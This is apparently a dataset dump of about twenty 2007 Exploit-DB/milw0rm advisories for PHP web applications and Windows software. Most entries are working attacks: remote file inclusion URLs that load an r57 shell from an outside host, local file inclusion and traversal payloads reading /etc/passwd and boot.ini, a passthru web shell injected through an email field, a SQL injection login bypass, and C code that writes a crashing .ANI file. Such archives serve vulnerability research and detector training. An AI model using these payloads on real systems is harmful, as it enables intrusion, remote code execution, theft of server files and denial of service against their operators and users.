QLWD/code_shield huggingface dataset:
标题: Mambo Component zOOm Media Gallery 2.5 Beta 2 - Remote File Inclusion EDB-ID: 3706 CVE: 2007-1992 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: iskorpitx@metlak
from TURKEY
com_zoom file include



******************************************************************************/

// Create the Makernote Parser and Interpreter Function Array

$GLOBALS['Makernote_Function_Array'] = array(   "Read_Makernote_Tag" => array( ),
                                                "get_Makernote_Text_Value" => array( ),
                                                "Interpret_Makernote_to_HTML" => array( ) );


// Include the Main TIFF and EXIF Tags array

include_once("$mosConfig_absolute_path/components/com_zoom/classes/iptc/EXIF.php");

/******************************************************************************

http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://shell*
http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://shell*

iskorpitx

admin@siyamiozkan-mavideniz.org

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3706
标题: SimpCMS 04.10.2007 - 'site' Remote File Inclusion EDB-ID: 3705 CVE: 2007-2009 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: Bug Found By Dr.RoVeR -->Arab48 Hacker

Contact: Dr.RoVeR@HackerMail.CoM
---

Script: SimpCMS Light

Download: http://www.simpcms.com/light/normal/simp-cms-light.zip

--

Bug File: index.php

Bug code in line 31:
include $site.".php";

--

Exploit:
http://site.com/[path]/index.php?site=[EvilScript]

# milw0rm.com [2007-04-10] URL: https://www.exploit-db.com/exploits/3705
标题: TOSMO/Mambo 1.4.13a - 'absolute_path' Remote File Inclusion EDB-ID: 3707 CVE: 2007-2317 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: =======================================================
Tosmo Mambo <= 4.0.12 (absolute_path) Multiple RFI Vulnerabilities
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site :
http://www2.tutorial.hu/letoltes/dl.php?p=/scriptek/joomla/mambo.4.0.x&i=tosmo_mambo.zip
==============================================
File : /components/com_minibb.php
include("$absolute_path/components/minibb/bb_admin.php");
======
/components/com_minibb.php?absolute_path=http://nachrichtenmann.de/r57.txt?

========================================================

File : /components/minibb/bb_plugins.php

<?php
include ($absolute_path.'/components/minibb/hack_smilies.php');
?>
======
/components/minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================

File : configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
include_once("$absolute_path/version.php");
======
/configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================
#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3707
标题: PHPGalleryScript 1.0 - 'init.gallery.php?include_class' Remote File Inclusion EDB-ID: 3699 CVE: 2007-2019 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: vendor url: http://tomex.org/

http://[victim]/php/init.gallery.php?include_class=[SHELL DIRECTORY]/something

# milw0rm.com [2007-04-10] URL: https://www.exploit-db.com/exploits/3699
标题: PHP121 Instant Messenger 2.2 - Local File Inclusion EDB-ID: 3694 CVE: 2007-1908 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: +========================I=R=A=N============================+

                                             PHP121 Version 2.2 

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Author :

                         Dj7xpl / Dj7xpl[at]Yahoo[dot]com

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Type :

                         Local File Inclusion Vulnerability 

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Download :

                         http://www.php121.com/download.php

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Bug :

                         http://[Target]/[Path]/php121db.php?php121dir=[ Local File ]%00

                         =========================I=R=A=N=============================

# milw0rm.com [2007-04-09] URL: https://www.exploit-db.com/exploits/3694
标题: MiniWebsvr 0.0.7 - Remote Directory Traversal EDB-ID: 3708 CVE: 2007-0919 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-04-11 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------
<b>MiniWebsvr 0.0.7 Directory transversal vulnerability</b>
url: http://miniwebsvr.sourceforge.net/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini or
http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../
-------------------------------------------------------------

Host   Port
<input type=text name=txtIP value = "localhost"> <input type=text name=txtPort value = "8080">

<input language=VBScript onclick=GetBoot() type=button value="Click to get boot.ini">

<input language=VBScript onclick=BrowseMe() type=button value="Click to browse">

<script language='vbscript'>
Sub GetBoot
  on error resume next
  document.location = "http://" + txtIP.value + ":" + txtPort.value + "/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini"
end sub

Sub BrowseMe
  on error resume next
  document.location = "http://" + txtIP.value + ":" + txtPort.value + "/%5C..%5C..%5C..%5C..%5C..%5C../"
end sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3708
标题: Weatimages 1.7.1 - ini[langpack] Remote File Inclusion EDB-ID: 3700 CVE: 2007-1999 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: RFI Weatimages Hack
Script name : Weatimages
Script Download Adress:http://www.hotscripts.com/jump.php?listing_id=52592&jump_type=1
Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?ini[langpack]=shelladress
Google Dork : inurl: index.php?ini[langpack]=

Author:Co-Sarper-Der
Contact:Sarperonline@gmail.com
Note:Thanx to ForeveRIslam

side note:

4. Installation

Unpack file "index.php" from this archive and upload it to separate directory (e.g. "photos/") on your web server.
In order to enable caching capabilities, you need to create the new directory named "weatimages-cache" in directory 
with "index.php" and to set access rights 777 (rwxrwxrwx) to "weatimages-cache".
If you plan to customize configuration, upload "weatimages.ini" too.

If weatimages.ini was uploaded too then the product isn't vulnerable.

# milw0rm.com [2007-04-10] URL: https://www.exploit-db.com/exploits/3700
标题: HIOX GUEST BOOK (HGB) 4.0 - Remote Code Execution EDB-ID: 3697 CVE: 2007-1998 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: +========================I=R=A=N============================+

                     HGB Version 4.0 

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Author :

Dj7xpl / Dj7xpl[at]Yahoo[dot]com

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Type :

Remote Code Execution Vulnerability

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Product / Vendor :

HIOX FREE Guest Book

http://www.hscripts.com/scripts/php/guestbook.php

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Bug :

[1] Open Target By Browser

[2] Insert Bad Code In Email                           E.g :   <?php passthru($_GET[cmd]);?>@yahoo.com

[3] See Bad C0de   :  http://[Targe]/[Path]/gb.php     E.g   :  http://dj7xpl.ir/hgb/gb.php?cmd=dir

=========================I=R=A=N=============================

#Iran_e Sarbolande Man Sarboland Mimanad
#Sp Tnx : str0ke

# milw0rm.com [2007-04-10] URL: https://www.exploit-db.com/exploits/3697
标题: Pathos CMS 0.92-2 - 'warn.php' Remote File Inclusion EDB-ID: 3696 CVE: 2007-1907 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: Pathos Content Management System
*****************
Found by kezzap66345 *
*****************
*****************
Script download::    http://sourceforge.net/projects/pathos/
Direct link     :
http://sourceforge.net/project/showfiles.php?group_id=103303&package_id=110862&release_id=243512

*****************
*****************
ERROR#1:
File:warn.php
*****************

include_once($_GET['file'] . ".html");   <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/warn.php?file=[SHELL]


**************************************************************************************
**************************************************************************************
Thanks:@_-_-_| i!..:: S.H.i.K.a.A ::..!i
****x0r0n**********..:a.j.a.n..:*************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-04-09] URL: https://www.exploit-db.com/exploits/3696
标题: Microsoft Windows - '.hlp' Local HEAP Overflow (PoC) EDB-ID: 3693 CVE: 2007-1912 类型: DOS 平台: WINDOWS 发布日期: 2007-04-09 漏洞利用脚本: MS Windows .HLP File Local HEAP Overflow PoC 0day

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3693.hlp.tgz (04092007-evil1.hlp.tgz)

# milw0rm.com [2007-04-09] URL: https://www.exploit-db.com/exploits/3693
标题: MyBlog: PHP and MySQL Blog/CMS software - Remote File Inclusion EDB-ID: 3685 CVE: 2007-1968 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-08 漏洞利用脚本: """""""""""""""""""""""""""""""""""""""""""""""
"""  ::     ::                :::::   ::::  """
"""   ::   ::                 ::  :   ::    """
"""     ::::    ::   :: ::::: :::::   ::::  """
"""    ::  ::   ::: ::: :: :: ::  ::    ::  """
"""  ::      :: :: :  : ::::: ::   :: ::::  """
"""                                         """
"""""""""""""""""""""""""""""""""""""""""""""""
  Xmor$ Security Vulnerability Research TM


# Tilte: MyBlog: PHP and MySQL Blog/CMS software Remote File Include Vulnerabilitiy


# Author..................: [the_Edit0r]
# Homepage ...............: [Www.XmorS-sEurity.coM]
# Location ...............: [Iran]
# Software ...............: [MyBlog: PHP and MySQL Blog/CMS software]
# Impact..................: [ Remote ]
# Site Script ............: [http://sourceforge.net/projects/myblog/]
# We ArE .................: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel ]




------------------------------------- Codes --------------------------------


include($_GET['scoreid'] . "_setby.txt");


------------------------------- proof Of Concept ---------------------------



 www.example.com/[path]/games.php?scoreid=[Sh3ll-Script]



----------------------------------------------------------------------------





# Contact me : the_3dit0r[at]Yahoo[dot]coM

# [XmorS-SEcurity.coM]

# milw0rm.com [2007-04-08] URL: https://www.exploit-db.com/exploits/3685
标题: PcP-Guestbook 3.0 - 'lang' Local File Inclusion EDB-ID: 3689 CVE: 2007-1933 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-08 漏洞利用脚本: .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
              
+_______________________________________________Iranian Are The Best In World___________________________________________+
*
*
*       [~] Portal.......:    PcP-Book 3.0
* [~] Site.........:    http://www.pcp-system.at
*       [~] Down.........:    http://www.ectona.org/download/?id=621&s=info
* [~] Author.......:    Dj7xpl  | Dj7xpl@yahoo.com
*
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*
*       [~] Vuln.........:         http://[Target]/[Path]/index.php?lang=[File-To-Require]%00
*                                  http://[Target]/[Path]/gb.php?lang=[File-To-Require]%00
*                                  http://[Target]/[Path]/faq.php?lang=[File-To-Require]%00
*                             
*  
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-04-08] URL: https://www.exploit-db.com/exploits/3689
标题: Microsoft Windows Explorer - '.ANI' File Denial of Service EDB-ID: 3684 CVE: 2007-0038 2007-1765 类型: DOS 平台: WINDOWS 发布日期: 2007-04-08 漏洞利用脚本: /****************************************************************************
*              MS Windows Explorer Unspecified .ANI File DoS                *
*                                                                           *
*                                                                           *
* Another .Ani bug that freezes Explorer if you open a folder that contains *
* a crafted file.                                                           *
*                                                                           *
* Tested against Win XP SP2 FR.                                             *
* Have Fun!                                                                 *
*                                                                           *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                               *
****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

unsigned char Ani_headers[] = 
"\x52\x49\x46\x46\x08\x4d\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00"
"\x0a\x00\x00\x00\x01\x00\x00\x00\x72\x61\x74\x65\x18\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x4c\x49\x53\x54\xa8\x4c\x00\x00"
"\x66\x72\x61\x6d\x69\x63\x6f\x6e\xbe\x0c\x00\x00\x00\x00\x02\x00"
"\x01\x00\x20\x20\x00\x57\x57\x57\x57\x00\xa8\x0c\x00\x00\x16\x00"
"\x00\x00\x03" //Change this last char to avoid crash
;

int main(int argc, char* argv[])
{
 FILE* anifile;
 char evilbuff[4000];
 printf("[+] MS Windows Explorer Unspecified .ANI File DoS\n");
 printf("[+] Coded by Marsu <Marsupilamipowa@hotmail.fr>\n");
 if (argc!=2) {
  printf("[+] Usage: %s <file.ani>\n",argv[0]);
  return 0;
 }
 
 memset(evilbuff,'A',4000);
 memcpy(evilbuff,Ani_headers,sizeof(Ani_headers)-1);
 
 if ((anifile=fopen(argv[1],"wb"))==0) {
  printf("[-] Unable to access file.\n");
  return 0;
 }
 fwrite( evilbuff, 1, 4000, anifile );
 fclose(anifile);
 printf("[+] Done. Have fun!\n");
 return 0;
 
}

// milw0rm.com [2007-04-08] URL: https://www.exploit-db.com/exploits/3684
标题: WitShare 0.9 - 'index.php?menu' Local File Inclusion EDB-ID: 3686 CVE: 2007-1928 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-08 漏洞利用脚本: """""""""""""""""""""""""""""""""""""""""""""""
"""  ::     ::                :::::   ::::  """
"""   ::   ::                 ::  :   ::    """
"""     ::::    ::   :: ::::: :::::   ::::  """
"""    ::  ::   ::: ::: :: :: ::  ::    ::  """
"""  ::      :: :: :  : ::::: ::   :: ::::  """
"""                                         """
"""""""""""""""""""""""""""""""""""""""""""""""
   Xmor$ Security Vulnerability Research TM

# Tilte:  witshare 0.9 Local File Include Vulnerabilitiy

# Author..................: [the_Edit0r]
# HomePage ...............: [Www.XmorS-sEcurity.coM]
# Location ...............: [Iran]
# Software ...............: [witshare]
# Site Script ............: [http://sourceforge.net/projects/witshare/]
# We ArE .................: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T ,DarkAngel ]
 

------------------------------------- Codes --------------------------------

<?php
  if (isset($_GET['menu'])) {
    include('pagelets/'.$_GET['menu'].'.inc');}
  else {
    include('pagelets/about.inc');}
 ?>
------------------------------- proof Of Concept ---------------------------
 
 www.example.com/[path]/index.php?menu=[Local Script]%00
 

----------------------------------------------------------------------------
 
 
# Contact me : the_3dit0r[at]Yahoo[dot]coM
# [XmorS-SEcurity.coM]

# milw0rm.com [2007-04-08] URL: https://www.exploit-db.com/exploits/3686
标题: Battle.net Clan Script for PHP 1.5.1 - SQL Injection EDB-ID: 3691 CVE: 2007-1909 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: ****************************************

script : Battle.net Clan Script 1.5
file : login.php
attack : injection sql

auteur : h a c k e r _ X

***************************************

code :
------------------------------------------------------------------------------------------

line 9 --> $user = $_POST['user'];
line 10--> $pass = $_POST['pass'];

.....
.....
.....

line 21--> mysql_query("SELECT * FROM bcs_members WHERE name='$user' AND password='$pass'", $link);
*******

-------------------------------------------------------------------------------------------------


exploit :
*******

Username : ' union select 0,0,0,0,0,0,0,0,0,0,0 from bcs_members/*
password : enything





************************************************** *
thinks to : max007,simo64,brutalism and all marocains hackers

special thinks for "P Y N S S O"

************************************************** *

# milw0rm.com [2007-04-09] URL: https://www.exploit-db.com/exploits/3691
标题: Microsoft Word 2007 - Multiple Vulnerabilities EDB-ID: 3690 CVE: 2007-1911 2007-1910 类型: DOS 平台: WINDOWS 发布日期: 2007-04-09 漏洞利用脚本: # Mati Aharoni

# muts [.@.] offensive-security.com

# http://www.offensive-security.com

 

 

My 7 line python fuzzer found several file format bugs in 3 hours. Quite alarming.

No deep analysis was done, I leave that to the community.

These are some of the results:

 

file789-1.doc  - Unspecified Overflow in word 2007 - Crash in wwlib.dll . Code execution is not trivial.

file798-1.doc . Word 2007 CPU exhaustion DOS - CPU shoots up to 100 %.

file613-1.doc -  Word 2007 CPU exhaustion DOS + ding - CPU shoots up to 100 %, and windows goes .ding!.

 

These files can be found at http://www.offensive-security.com/0day/0day.tar.gz

backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3690.tar.gz (04092007-0day.tar.gz)
 

Be safe,

 

Muts


# milw0rm.com [2007-04-09] URL: https://www.exploit-db.com/exploits/3690
标题: WebSPELL 4.01.02 - 'picture.php' File Disclosure EDB-ID: 3673 CVE: 2007-2369 2007-2368 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-05 漏洞利用脚本: # WebSPELL <= 4.01.02 (picture.php) Remote File Disclosure Vulnerability
# Discovered by: Trex
# Visit: www.Trex-Online.net / www.UnderGround.ag
# Comment: Happy easter!
#
#   ___     ___
#  /   \   /   \       ___________________________
# /   / \_/ \   \     /                           \
# \__/\     /\__/    /  GIVE ME A CARROT OR I WILL \
#      \O O/         \      BLOW UP YOUR HOUSE     /
#   ___/ ^ \___      / ___________________________/
#      \___/        /_/
#      _/ \_
#   __//   \\__
#  /___\/_\/___\
#
#
#
# Vulnerability 1:
# Advantage: works independently from PHP version.
# Disadvantage: works dependently from PHP option register_globals (= on).
#
# http://[SITE][PAHT]/picture.php?file=[FILE]
#
#
#
# Vulnerability 2:
# Advantage: works independently from PHP option register_globals.
# Disadvantage: works dependently from PHP versions (< 4.3.0).
#
# http://[SITE][PAHT]/picture.php?id=../../../[FILE]%00
#
#
#
# Solution:
# http://fixes.trex-online.net/picture.rar

# milw0rm.com [2007-04-05] URL: https://www.exploit-db.com/exploits/3673
标题: PHP-Generics 1.0.0 Beta - Multiple Remote File Inclusions EDB-ID: 3669 CVE: 2007-2346 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-05 漏洞利用脚本: --------------------------------------------------------
                 
                                           
                   php-generics 1.0 Remote File Inclusion Vulnerabilities
                 
                  --------------------------------------------------------


Software: php-generics 1.0Beta

Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/php-generics/php-generics-1.0.0-beta.zip
        http://sourceforge.net/projects/php-generics/

Bugfounder: bd0rk

Vulnerable files: include.php, /dbcommon/include.php, /exception/include.php

[+]Exploit 1: http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 2: http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 3: http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]

Problem: $_APP_RELATIVE_PATH is not declared before include_once and no configfile is aviable

Greetings: str0ke, TheJT, HaSSPappeL ;-)

Website1: www.soh-crew.it.tt

Website2: www.hackschool.dl.am

#The 18 years old, german Hacker bd0rk

# milw0rm.com [2007-04-05] URL: https://www.exploit-db.com/exploits/3669
标题: cattaDoc 2.21 - 'download2.php?fn1' Remote File Disclosure EDB-ID: 3677 CVE: 2007-1930 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-06 漏洞利用脚本: # cattaDoc 2.21(download2.php fn1)Remote File Disclosure Vulnerability
# D.Script: http://cattadoc.com/download/cattadoc-2.21.tgz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code: 
##############################################################
# $tp = $_REQUEST['mtp'];                                    # 
# $ofn = '"'.$_REQUEST['fn2'].'"';                           # 
# header("Content-type: $tp");                               #
# header("Content-Disposition: attachment; filename=$ofn");  #
# readfile($_REQUEST['fn1']); <<----                         #
##############################################################
# Exploit:[Path_cattaDoc]/download2.php?fn1=../../../../../../etc/passwd

# milw0rm.com [2007-04-06] URL: https://www.exploit-db.com/exploits/3677